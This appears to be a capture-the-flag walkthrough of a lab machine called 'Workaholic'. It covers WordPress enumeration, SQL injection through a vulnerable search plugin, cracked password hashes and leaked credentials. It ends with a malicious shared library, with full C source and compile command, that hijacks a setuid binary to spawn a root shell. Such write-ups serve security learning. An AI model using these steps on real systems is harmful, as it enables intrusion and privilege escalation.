Nmap
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
|_ 256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Workaholic
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-generator: WordPress 6.7.2
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 6BD852FF8C391FD56DF5A8EF4C2DB7FC
Enumeration
Gobuster finds some typical WP files

WPScan Findings:

A clue?

I did some research and this file is vulnerable to SQLi, but it is for an ancient version. Moving on.
WPScan said there were no plugins installed, but we can double check that with a wordlist at /usr/share/wordlists/measploit/wp-plugins.txt or this shorter one https://github.com/Perfectdotexe/WordPress-Plugins-List. I used the shorter one.
NOTE: I tried WPScan again and set the plugin scanner to aggressive - it still didn’t find any plugins. So remember to fuzz for plugins if you hit a stall in your enumeration.

We found akismet and wp-advanced-search. Advanced search is vulnerable to SQLi, and I found a POC. Let’s try it.
https://github.com/BwithE/CVE-2024-9796
Exploitation

I couldn’t get the exploit to work at first (it didn’t want http in the argument), so I looked at he request that the exploit was making and recreated in the browser. Curl would have worked even better.
In browser:

With curl:

We now have hashes for the three users that WPScan found in its initial scan.
admin
charlie
ted
$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/
Checking the ID:

We ultimately recover two passwords with Haschat:
okadamat17 & chrish20
Let’s try to log in with them. We get in with Ted with okadamat17.
We also get in to FTP with those same credentials. The FTP server is serving the web root, which is an awful security practice. At this point, we can do one of two things: we can either modify a template .php file to include a php reverse shell, or we can just put one on the FTP server. I’ll go with FTP.
Scratch that, we do not have permission to put files on the server. Regardless, we grab wp-config.php while we’re there, and find database credentials.

I logged in as charlie as well as ted to WP, but neither are admins so we are unable to upload a php reverse shell on a template page. Maybe ssh would work - it would be a simpler vector.
Privilege Escalation
None of the cracked hashes work for either user, but the database password works for charlie. We’re in!
charlie:rU)tJnTw5*ShDt4nOx
I check sudo -l and charlie does not have those permissions. Check a few other things like SUID Binaries and group membership.
Linpeas picks up an unknown SUID Binary:

We can take a look at the binary with strings.

It so happens that we have write privileges on /home/ted as discovered with this command:
find find / -writeable -type d 2>/dev/null | grep -vE '^/(proc|sys|run)'
The binary is looking for the libsecurity.so file and the init_plugin function, and fails because neither exist. Since we have write privs on /home/ted, we can create a c script that when compiled will create the .so file and trigger our root shell.
cat > /home/ted/.lib/libsecurity.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
EOFThen:
gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
Now we have our .so file.

And we run the binary.

Done!